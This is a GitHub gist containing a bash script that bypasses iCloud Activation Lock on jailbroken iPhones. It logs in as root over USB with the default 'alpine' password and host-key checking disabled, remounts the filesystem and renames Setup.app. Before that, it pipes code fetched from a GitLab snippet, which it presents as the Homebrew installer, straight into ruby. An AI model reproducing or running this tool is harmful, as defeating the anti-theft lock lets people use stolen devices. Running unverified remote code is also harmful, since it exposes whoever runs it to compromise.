Skip to content

Instantly share code, notes, and snippets.

@RowanFeely
Created February 18, 2020 18:16
Show Gist options
  • Save RowanFeely/6d68bcbc39d752cbfbea216ceb253cd2 to your computer and use it in GitHub Desktop.
Save RowanFeely/6d68bcbc39d752cbfbea216ceb253cd2 to your computer and use it in GitHub Desktop.
#!/bin/bash
echo "=> Checking for brew..."
which brew > /dev/null
if [ $? -ne 0 ]; then
echo "==> You do not have Homebrew installed on your Mac."
read -p "==> Homebrew is required to use this tool. Press enter/return to automatically install it... "
/usr/bin/ruby -e "$(curl -fsSL https://gitlab.com/snippets/1909941/raw)"
fi
echo "=> Installing dependencies..."
brew install libusbmuxd https://raw.githubusercontent.com/kadwanev/bigboybrew/master/Library/Formula/sshpass.rb
clear
figlet -o -c -f rowancap RAiNBREAKER
echo "                 |  |                  "
echo " _______________________________|0.2.1|______________________________________"
echo " /"
echo "| Vers by:"
echo "| 0x3R0"
echo "|  rowanfeely.github.io"
echo "|"
echo "| + Luke"
echo "|  u/TheLukeGuy"
echo "|  @ConsoleLogLuke"
echo "|"
echo "|-------------------------------------------------------------------------------"
echo "|"
echo "|  WARNING: Do not use this tool for illegal purposes."
echo "|"
echo " \______________________________________________________________________________"
echo
echo
read -p "=> Please jailbreak using checkra1n, connect your device to your Mac, and press enter/return... "
echo " > Setting up SSH over USB..."
iproxy 2222 44 2> /dev/null &
runcmd () {
sshpass -p alpine ssh -o StrictHostKeyChecking=no root@localhost -p 2222 "$1" > /dev/null
}
echo " > Bypassing iCloud lock..."
runcmd "mount -o rw,union,update / && mv /Applications/Setup.app /Applications/Setup.app.bypass && killall Setup && uicache --all && killall backboardd"
echo "."
sleep 1
echo ".."
sleep 1
echo "BROKEN "
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment